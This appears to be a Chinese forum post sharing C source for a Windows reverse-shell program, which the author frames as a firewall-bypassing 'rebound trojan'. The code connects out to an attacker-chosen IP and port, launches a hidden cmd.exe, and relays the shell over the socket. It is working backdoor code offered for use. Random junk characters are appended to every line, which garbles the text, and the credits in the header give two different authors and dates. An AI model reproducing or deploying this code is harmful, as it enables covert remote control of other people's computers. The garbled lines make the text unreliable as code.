这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V7b;qC'
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/* ============================== %afN&T
Rebound port in Windows NT hkb&]XWi[
By wind,2006/7 9tX+n{i
===============================*/ Zg$S% 1(Q
#include i;rcgd
#include H;R~d%!b
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#pragma comment(lib,"wsock32.lib") #f [}a
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void OutputShell(); 4O{G^;
SOCKET sClient; !&xci})7a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qJ sH
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void main(int argc,char **argv) lA%FS]vh
{ |
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WSADATA stWsaData; k#bG&BF
int nRet; FDFwx|
SOCKADDR_IN stSaiClient,stSaiServer; <UF0Xc&X'
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if(argc != 3) |Fz ^(US
{ [^Bjmw[7
printf("Useage:\n\rRebound DestIP DestPort\n"); ?&'Kw>s@
return; O\CnKNk,
} Y[l<fbh(}
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WSAStartup(MAKEWORD(2,2),&stWsaData); lb$_$+@Vr
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pdB\D
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stSaiClient.sin_family = AF_INET; U
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stSaiClient.sin_port = htons(0); s7afj t
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RC}m]!Uz
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CuD}Uo+u
{ O wuc9
printf("Bind Socket Failed!\n"); &r.M~k
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return; ; PncJe5x
} :hT.L3n,
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stSaiServer.sin_family = AF_INET; %ufh
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "={* 0P
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F^$;hMh%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Fgi`g{N
{ }K8e(i6z
printf("Connect Error!"); LPBa!fq
return; Ui!l3_O
} d)S`.Q
OutputShell(); RyP MzxV
} I?St}Tl
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void OutputShell() j g//I<D
{ e
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char szBuff[1024]; 7*j!ZUzp
SECURITY_ATTRIBUTES stSecurityAttributes; F)KR8(
OSVERSIONINFO stOsversionInfo; I 1n,c d[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >s 6ye
STARTUPINFO stStartupInfo; ^D5Jqh)
char *szShell; pmUf*u-
PROCESS_INFORMATION stProcessInformation; YGC%j
unsigned long lBytesRead; =Q{?!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xu_,0ZT]{
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3:MJKS02OD
stSecurityAttributes.lpSecurityDescriptor = 0; 3rB0H
stSecurityAttributes.bInheritHandle = TRUE; Pw| h`[h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yhYF "~CM
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,[IDC3.4^R
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Gc"hU:m
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E(j#R"
stStartupInfo.wShowWindow = SW_HIDE; P
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stStartupInfo.hStdInput = hReadPipe; nX 9]dz
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (5 @H
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GetVersionEx(&stOsversionInfo); xI1{Wo*2C}
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switch(stOsversionInfo.dwPlatformId) (T0MWp 0
{ PBnH#zm
case 1: /ZD 6pF
szShell = "command.com"; =$Mf:F@
break; uf90
default: GkX Se)#p
szShell = "cmd.exe"; ('SId@
break; Qw:!Rw,x
} GE(~d '
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _<LL@IX
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send(sClient,szMsg,77,0); A
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while(1) 8'zZVX D<
{ y7M{L8{0
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z,4mg6gt
if(lBytesRead) '{UKO7
{ ] re=8s6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~<f[7dBv
send(sClient,szBuff,lBytesRead,0); _0v+'&bz
} UPU$SZAIx
else VJqk0w+
{ ]vlBYAW'
lBytesRead=recv(sClient,szBuff,1024,0); R`cP%7K
if(lBytesRead<=0) break; o(oOB
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a3<:F2=~\
} @2/|rq
} OIL8'xY.w
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return; [p9v#\G; [
}